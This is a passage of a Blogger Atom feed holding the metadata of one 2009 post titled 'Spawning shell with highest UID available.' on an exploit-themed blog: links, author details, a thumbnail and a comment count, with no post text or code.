href='http://www.blogger.com/feeds/1712627915021372401/posts/default/3003179287843395360'/><link rel='alternate' type='text/html' href='http://exploitdaworld.blogspot.com/2009/03/spawning-shell-with-highest-uid.html' title='Spawning shell with highest UID available.'/><author><name>plAnadecU</name><uri>http://www.blogger.com/profile/13857351247896086293</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_prmzp-zNITA/SbWOD-_-ZSI/AAAAAAAAAps/sfRysQVPSfo/s72-c/exploit1.png' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
